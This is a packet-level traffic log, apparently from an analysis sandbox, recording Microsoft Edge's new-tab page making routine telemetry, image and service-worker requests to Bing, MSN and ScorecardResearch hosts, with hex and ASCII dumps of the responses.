_EDGE_V=1
2024-11-25 11:08:54 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1732532933075&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=354610ce91cb4454a7edd3a26242369f&activityId=354610ce91cb4454a7edd3a26242369f&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=81A7AD75DE404C4D9504966CD607D61E&RedC=c.msn.com&MXFR=0A576580DC7A6D0124D170C2DDEE6CAA Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=0A576580DC7A6D0124D170C2DDEE6CAA; domain=.msn.com; expires=Sat, 20-Dec-2025 11:08:54 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Mon, 25 Nov 2024 11:08:54 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.8	49795	18.173.219.111	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:54 UTC	925	OUT	GET /b?rn=1732532933075&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0A576580DC7A6D0124D170C2DDEE6CAA&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 11:08:54 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Mon, 25 Nov 2024 11:08:54 GMT Location: /b2?rn=1732532933075&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0A576580DC7A6D0124D170C2DDEE6CAA&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1C296e1bec5e46dcb1708fc1732532934; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1C296e1bec5e46dcb1708fc1732532934; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 a7c9fe7eb79f698774d5b4dbc632cf68.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P1 X-Amz-Cf-Id: qgWDQbipeJMMkqH3sqnt1A5iZV6dhh_jO7uyf9Y5LweabEiZ4aUqlw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.8	49788	204.79.197.237	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:54 UTC	1269	OUT	GET /c.gif?rnd=1732532933075&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=354610ce91cb4454a7edd3a26242369f&activityId=354610ce91cb4454a7edd3a26242369f&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=81A7AD75DE404C4D9504966CD607D61E&RedC=c.msn.com&MXFR=0A576580DC7A6D0124D170C2DDEE6CAA HTTP/1.1 Host: c.bing.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-MS-GEC: F9627686C11DD26947419672002C024C912A715D4C4C02478118D8F6D0548C15 Sec-MS-GEC-Version: 1-117.0.2045.47 Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 11:08:55 UTC	1700	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.msn.com/c.gif?rnd=1732532933075&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=354610ce91cb4454a7edd3a26242369f&activityId=354610ce91cb4454a7edd3a26242369f&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=81A7AD75DE404C4D9504966CD607D61E&MUID=0A576580DC7A6D0124D170C2DDEE6CAA P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: MUID=0A576580DC7A6D0124D170C2DDEE6CAA; domain=.bing.com; expires=Sat, 20-Dec-2025 11:08:55 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: MR=0; domain=c.bing.com; expires=Mon, 02-Dec-2024 11:08:55 GMT; path=/; SameSite=None; Secure; Set-Cookie: SRM_B=0A576580DC7A6D0124D170C2DDEE6CAA; domain=c.bing.com; expires=Sat, 20-Dec-2025 11:08:55 GMT; path=/; SameSite=None; Secure; Set-Cookie: SRM_M=0A576580DC7A6D0124D170C2DDEE6CAA; domain=c.bing.com; expires=Sat, 20-Dec-2025 11:08:55 GMT; path=/; SameSite=None; Secure; X-Powered-By: ASP.NET X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 4233FF4A509A4AAA89A94EF17072C3C5 Ref B: EWR30EDGE1007 Ref C: 2024-11-25T11:08:55Z Date: Mon, 25 Nov 2024 11:08:54 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.8	49796	104.117.182.56	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:55 UTC	634	OUT	GET /tenant/amp/entityid/BB1msFQA.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 11:08:55 UTC	519	IN	HTTP/1.1 200 OK Last-Modified: Mon, 16 Sep 2024 13:47:16 GMT Access-Control-Allow-Origin: * X-Datacenter: eastus X-ActivityId: ff79e93a-9960-4b77-a778-af0a49b23005 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msFQA X-Source-Length: 67183 Content-Length: 67183 Cache-Control: public, max-age=226071 Expires: Thu, 28 Nov 2024 01:56:46 GMT Date: Mon, 25 Nov 2024 11:08:55 GMT Connection: close
2024-11-25 11:08:55 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-25 11:08:55 UTC	16384	IN	Data Raw: d3 5f 5b a3 b9 4e 4b 44 b6 25 ed b9 ea c3 8b fa b2 eb f0 8a 5d d8 7f 89 9f 01 1f a8 f1 90 dd 5e a7 3b bf cc f5 69 fd 77 8c 86 f7 19 ad 71 f7 58 e3 38 65 d6 32 eb 19 c4 76 fb b8 f1 dc 5f 2b 81 ab cc d3 f9 9d 2b 8e ab ff 00 e9 f1 1d 91 f7 9f 25 0f f8 89 f2 e8 df f6 65 ef 47 a3 1f f8 83 87 7d 68 54 8f 32 7e d3 8c e1 97 fe 5d 63 3c 7b 7b 6f 8e ad ff 00 e9 f1 1f e5 f7 87 df 78 9c b8 2a dc f2 82 f6 9c b1 fa cf 05 2f ee 5b bd 35 ec 3b a3 f5 0e 16 5b ab 43 fa 91 ce a7 ff 00 3f 9b 77 1d b9 5f 17 c7 be af 05 db 51 18 f9 df 56 93 c3 87 a3 1e f9 7f f9 1e da e2 29 cb 74 a2 fb 9a 35 f3 23 a4 5f a4 2f f2 f0 94 be ae f9 3c 3a e7 7e f3 b6 9a e3 ef eb fb bd b5 39 df e4 7a 3b 6b 49 5b 68 97 e9 05 2a d2 d2 3b 3d 24 6d 0f 68 c2 aa c3 b1 37 0b 90 55 86 4d ca b8 0c 04 30 18 c9 Data Ascii: _[NKD%]^;iwqX8e2v_++%eG}hT2~]c<{{ox/[5;[C?w_QV)t5#_/<:~9z;kI[h;=$mh7UM0
2024-11-25 11:08:55 UTC	2358	IN	Data Raw: 9c b7 b6 cc ca 6c cc ac 90 00 82 19 23 00 a0 43 11 00 00 05 00 08 40 30 10 ca c8 10 ee 22 d0 60 20 2a 18 80 45 4b 50 12 32 80 04 74 c6 94 e6 d5 90 1c e0 7b 74 f8 29 3c 5e af 8e 8d 27 ad 0e 16 9c 15 f7 ee df d3 e4 73 9c e1 bd 66 5f 2f 1a 53 96 47 a7 0e 06 4d bd ae 4d ae bf 1f 99 f4 f0 82 4d d9 62 96 36 cb bb 28 fc cc d6 29 46 1b 32 57 eb 3f cb 8f 8a 5f 69 eb 39 4e 73 2e b1 84 38 69 f0 74 e2 d5 f1 ba 78 e4 b4 24 b7 b6 f2 6f 2c 4f 42 9d 28 a5 18 da db 56 95 45 9b b6 4d f2 62 81 cf cc bf 96 fd 2a fb 55 e5 9e 1c 9b e5 95 fb 05 1f 54 56 cf a6 92 b4 a7 52 78 39 db 3c 79 37 ed ee 39 4c cb a4 44 43 aa 36 bc f3 7b 4e 4a 3b ba db 95 fa 59 09 3b 6c df 7a 84 dd 92 e5 4b d2 9b 5a 37 da e6 49 ed 47 6a 2f 62 9a 77 95 49 61 29 e3 8b 57 dd 7d 2f 17 90 ef 75 b5 1f d3 86 e7 Data Ascii: l#C@0"` EKP2t{t)<^'sf_/SGMMMb6()F2W?_i9Ns.8itx$o,OB(VEMbUTVRx9<y79LDC6{NJ;Y;lzKZ7IGj/bwIa)W}/u
2024-11-25 11:08:55 UTC	16384	IN	Data Raw: 46 92 5e b8 e0 9c e2 ad 15 94 13 f7 91 9c 94 5f a9 f5 ea 3c b5 2d 7a 16 45 02 7b 55 27 15 8e ce 12 96 57 b5 ed 7d 5a 37 20 be d5 da 76 8a c3 6b 4e a8 ea 1e ca d9 d8 58 41 6f c7 17 de f4 3c f3 65 66 be 1f 82 cb bd 90 43 c7 0b 59 78 3d b2 f7 0f 7b be 6b 3c 92 d5 ef 04 e2 e3 39 2e ac 2f 7e f5 be da 5e b0 83 52 8e db c2 36 ba bf cf 58 07 cb e3 2f c0 33 d2 f4 2d cb bd 82 bb bb dc de 9d fb 3a 5f 84 4d ab 39 3c 21 c9 59 c9 fb 6f 92 03 f0 90 15 c0 f6 9e 61 80 80 06 32 40 81 80 8a 28 92 80 08 18 08 44 43 28 43 34 10 00 c2 90 c6 20 86 31 01 14 c0 00 a0 24 60 19 05 08 02 98 08 61 00 80 00 63 01 80 80 62 0a 63 18 c0 45 00 04 21 81 40 2b 16 20 00 0d e1 6d 25 00 25 61 88 41 14 21 08 8a 40 00 4b 00 c4 22 34 77 10 86 40 87 71 5c 90 00 10 80 00 40 03 10 00 00 5c 42 2a 59 Data Ascii: F^_<-zE{U'W}Z7 vkNXAo<efCYx={k<9./~^R6X/3-:_M9<!Yoa2@(DC(C4 1$`acbcE!@+ m%%aA!@K"4w@q\@\B*Y
2024-11-25 11:08:55 UTC	16192	IN	Data Raw: a5 4e 32 77 95 a5 36 b4 47 75 97 6d 88 34 fc b6 a7 3f 55 59 e1 15 fe 15 a9 66 c1 7e 8b 72 7e ba b5 3d 9b 96 a8 a2 14 b7 d5 92 bc 9e 10 8e 69 68 e7 de c7 7f 25 6d 4a d2 ab 3c 12 f6 6a 8a cd 91 52 d3 a3 4e 51 4f 6a ad 5b e3 ad e1 7c 37 46 2b 70 e4 9c 29 d3 a1 17 79 bb 2d ad 09 75 a5 ab f1 05 6a 11 da 9f aa a4 b0 d6 f4 28 ea e8 c2 17 a1 79 cb d5 56 6f 72 f9 2d 4b 32 8d 95 9d 92 fc b8 7f 9a 5e d0 57 72 db 6a ed 75 63 92 ef d6 73 45 79 11 d9 5e aa 95 1b 69 64 af f2 8c 4b 9b f2 20 a9 c3 d5 52 a5 f1 d7 9c 9f 70 1b 53 5b 5c 4c a4 f1 4a 29 5f c2 f3 8a f9 98 f0 df a9 56 bd 67 bd 4a 54 e3 fb 30 f7 bb 84 df dd a8 28 47 19 c9 6c c6 fb dc 9e 6f e6 c2 cf 86 e1 d5 38 63 52 4b 65 6b 6f 7c 9f cd 80 f8 59 79 b1 9d 48 e1 2a 8d ed 3f 0d b0 b7 37 cc ba 6d 4e 2e 30 c2 09 b4 df Data Ascii: N2w6Gum4?UYf~r~=ih%mJ<jRNQOj[\|7F+p)y-uj(yVor-K2^WrjucsEy^idK RpS[\LJ)_VgJT0(Glo8cRKeko\|YyH*?7mN.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.8	49809	204.79.197.203	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:55 UTC	1981	OUT	GET /edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true HTTP/1.1 Host: ntp.msn.com Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-edge-ntp: {"back_block":0,"bg_cur":{"configIndex":16,"provider":"CMSImage","userSelected":false},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"myFeed","show_greet":true,"vt_opened":false} Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_Auth=; pglt-edgeChromium-dhp=547; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=354610CE91CB4454A7EDD3A26242369F.RefC=2024-11-25T11:08:41Z; USRLOC=; MUID=0A576580DC7A6D0124D170C2DDEE6CAA; MUIDB=0A576580DC7A6D0124D170C2DDEE6CAA; _EDGE_S=F=1&SID=1E9460D0D047688427CB7592D1A5693C; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=de34173b-fe96-4429-96a0-2bd098790f4d; ai_session=It58WRYGMta7xZuGvi5tuj\|1732532933071\|1732532933071; sptmarket_restored=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=354610CE91CB4454A7EDD3A26242369F.RefC=2024-11-25T11:08:41Z
2024-11-25 11:08:56 UTC	1431	IN	HTTP/1.1 200 OK Cache-Control: no-cache Transfer-Encoding: chunked Content-Type: application/javascript Content-MD5: ESYu3lvbz6EOBIw3fjFVIw== Last-Modified: Fri, 22 Nov 2024 21:29:05 GMT ETag: 0x8DD0B3CB1140E51 Vary: Origin x-ms-request-id: 0d0dcb03-a01e-0013-7d25-3dd663000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Akamai-Request-BC: [a=23.48.200.176,b=4015377325,c=g,n=US_VA_ASHBURN,o=20940] Server-Timing: clientrtt; dur=6, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.48.200.176 Akamai-Request-ID: ef55cbad Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Service-Worker-Allowed: / report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.b0c83017.1732532936.ef55cbad X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 345C8377E7514B42AF51FE6ADB40D4E0 Ref B: EWR30EDGE0806 Ref C: 2024-11-25T11:08:56Z Date: Mon, 25 Nov 2024 11:08:55 GMT Connection: close
2024-11-25 11:08:56 UTC	2807	IN	Data Raw: 61 66 30 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 29 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 29 64 65 66 69 6e 65 28 5b 5d 2c 74 29 3b 65 6c 73 65 7b 76 61 72 20 73 3d 74 28 29 3b 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 73 29 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 3a 65 29 5b 6e 5d 3d 73 5b 6e 5d 7d 7d 28 73 65 6c 66 2c 28 28 29 3d 3e 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 Data Ascii: af0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict
2024-11-25 11:08:56 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 75 74 65 73 3d 22 65 6e 61 62 6c 65 54 6f 70 69 63 50 75 62 6c 69 73 68 65 72 52 6f 75 74 65 73 22 2c 65 2e 65 6e 61 62 6c 65 53 74 61 74 69 63 52 6f 75 74 69 6e 67 3d 22 65 6e 61 62 6c 65 53 74 61 74 69 63 52 6f 75 74 69 6e 67 22 2c 65 2e 65 6e 61 62 6c 65 53 74 61 74 69 63 4e 61 76 52 6f 75 74 69 6e 67 3d 22 65 6e 61 62 6c 65 53 74 61 74 69 63 4e 61 76 52 6f 75 74 69 6e 67 22 2c 65 2e 65 6e 61 62 6c 65 53 74 61 74 69 63 41 64 73 52 6f 75 74 69 6e 67 3d 22 65 6e 61 62 6c 65 53 74 61 74 69 63 41 64 73 52 6f 75 74 69 6e 67 22 2c 65 2e 63 6f 6d 6d 6f 6e 48 61 73 68 3d 22 63 6f 6d 6d 6f 6e 48 61 73 68 22 2c 65 2e 76 65 6e 64 6f 72 73 48 61 73 68 3d 22 76 65 6e 64 6f 72 73 48 61 73 68 22 2c 65 2e 65 78 70 65 72 69 65 6e 63 65 48 61 73 68 3d Data Ascii: 2000utes="enableTopicPublisherRoutes",e.enableStaticRouting="enableStaticRouting",e.enableStaticNavRouting="enableStaticNavRouting",e.enableStaticAdsRouting="enableStaticAdsRouting",e.commonHash="commonHash",e.vendorsHash="vendorsHash",e.experienceHash=
2024-11-25 11:08:56 UTC	4152	IN	Data Raw: 31 30 33 30 0d 0a 2e 6d 61 74 63 68 28 74 2c 6e 29 7d 28 75 2c 72 2e 63 6c 6f 6e 65 28 29 2c 5b 22 5f 5f 57 42 5f 52 45 56 49 53 49 4f 4e 5f 5f 22 5d 2c 68 29 3a 6e 75 6c 6c 3b 74 72 79 7b 61 77 61 69 74 20 75 2e 70 75 74 28 72 2c 64 3f 6f 2e 63 6c 6f 6e 65 28 29 3a 6f 29 7d 63 61 74 63 68 28 65 29 7b 69 66 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 72 72 6f 72 29 74 68 72 6f 77 22 51 75 6f 74 61 45 78 63 65 65 64 65 64 45 72 72 6f 72 22 3d 3d 3d 65 2e 6e 61 6d 65 26 26 61 77 61 69 74 20 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 63 6f 6e 73 74 20 65 20 6f 66 20 74 29 61 77 61 69 74 20 65 28 29 7d 28 29 2c 65 7d 66 6f 72 28 63 6f 6e 73 74 20 65 20 6f 66 20 74 68 69 73 2e 69 74 65 72 61 74 65 43 61 6c 6c 62 61 63 6b 73 28 22 63 61 63 Data Ascii: 1030.match(t,n)}(u,r.clone(),["__WB_REVISION__"],h):null;try{await u.put(r,d?o.clone():o)}catch(e){if(e instanceof Error)throw"QuotaExceededError"===e.name&&await async function(){for(const e of t)await e()}(),e}for(const e of this.iterateCallbacks("cac
2024-11-25 11:08:56 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 29 2e 63 61 74 63 68 28 28 28 29 3d 3e 7b 7d 29 29 3b 6c 65 74 20 61 2c 72 3d 61 77 61 69 74 20 73 2e 63 61 63 68 65 4d 61 74 63 68 28 74 29 3b 69 66 28 72 29 3b 65 6c 73 65 20 74 72 79 7b 72 3d 61 77 61 69 74 20 6e 7d 63 61 74 63 68 28 65 29 7b 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 72 72 6f 72 26 26 28 61 3d 65 29 7d 69 66 28 21 72 29 74 68 72 6f 77 20 6e 65 77 20 65 28 22 6e 6f 2d 72 65 73 70 6f 6e 73 65 22 2c 7b 75 72 6c 3a 74 2e 75 72 6c 2c 65 72 72 6f 72 3a 61 7d 29 3b 72 65 74 75 72 6e 20 72 7d 7d 63 6f 6e 73 74 20 49 3d 28 65 2c 74 29 3d 3e 74 2e 73 6f 6d 65 28 28 74 3d 3e 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 3b 6c 65 74 20 42 2c 57 3b 63 6f 6e 73 74 20 6a 3d 6e 65 77 20 57 65 61 6b 4d 61 70 2c 4b 3d 6e 65 77 20 57 Data Ascii: 2000).catch((()=>{}));let a,r=await s.cacheMatch(t);if(r);else try{r=await n}catch(e){e instanceof Error&&(a=e)}if(!r)throw new e("no-response",{url:t.url,error:a});return r}}const I=(e,t)=>t.some((t=>e instanceof t));let B,W;const j=new WeakMap,K=new W
2024-11-25 11:08:56 UTC	7784	IN	Data Raw: 31 65 36 30 0d 0a 63 6f 6d 65 47 72 65 65 74 69 6e 67 4c 69 67 68 74 2e 22 2c 22 2f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 78 6d 6c 62 75 69 6c 64 65 72 32 5f 6c 69 62 5f 78 6d 6c 62 75 69 6c 64 65 72 32 5f 6d 69 6e 5f 6a 73 2e 22 5d 2c 68 65 3d 5b 22 2f 62 61 63 6b 67 72 6f 75 6e 64 2d 67 61 6c 6c 65 72 79 2e 22 2c 22 2f 63 61 72 64 2d 61 63 74 69 6f 6e 73 2d 77 63 2e 22 2c 22 2f 63 68 61 6e 6e 65 6c 2d 64 61 74 61 2d 63 6f 6e 6e 65 63 74 6f 72 2e 22 2c 22 2f 63 68 61 6e 6e 65 6c 2d 73 74 6f 72 65 2e 22 2c 22 2f 63 6f 64 65 78 2d 62 69 6e 67 2d 63 68 61 74 2e 22 2c 22 2f 63 6f 6d 6d 6f 6e 2e 22 2c 22 2f 63 6f 6d 6d 6f 6e 2d 63 73 63 6f 72 65 2e 22 2c 22 2f 63 6f 6d 6d 6f 6e 2d 66 65 65 64 2d 6c 69 62 73 2e 22 2c 22 2f 63 6f 6d 6d 6f 6e 2d 73 65 67 6d 65 Data Ascii: 1e60comeGreetingLight.","/node_modules_xmlbuilder2_lib_xmlbuilder2_min_js."],he=["/background-gallery.","/card-actions-wc.","/channel-data-connector.","/channel-store.","/codex-bing-chat.","/common.","/common-cscore.","/common-feed-libs.","/common-segme
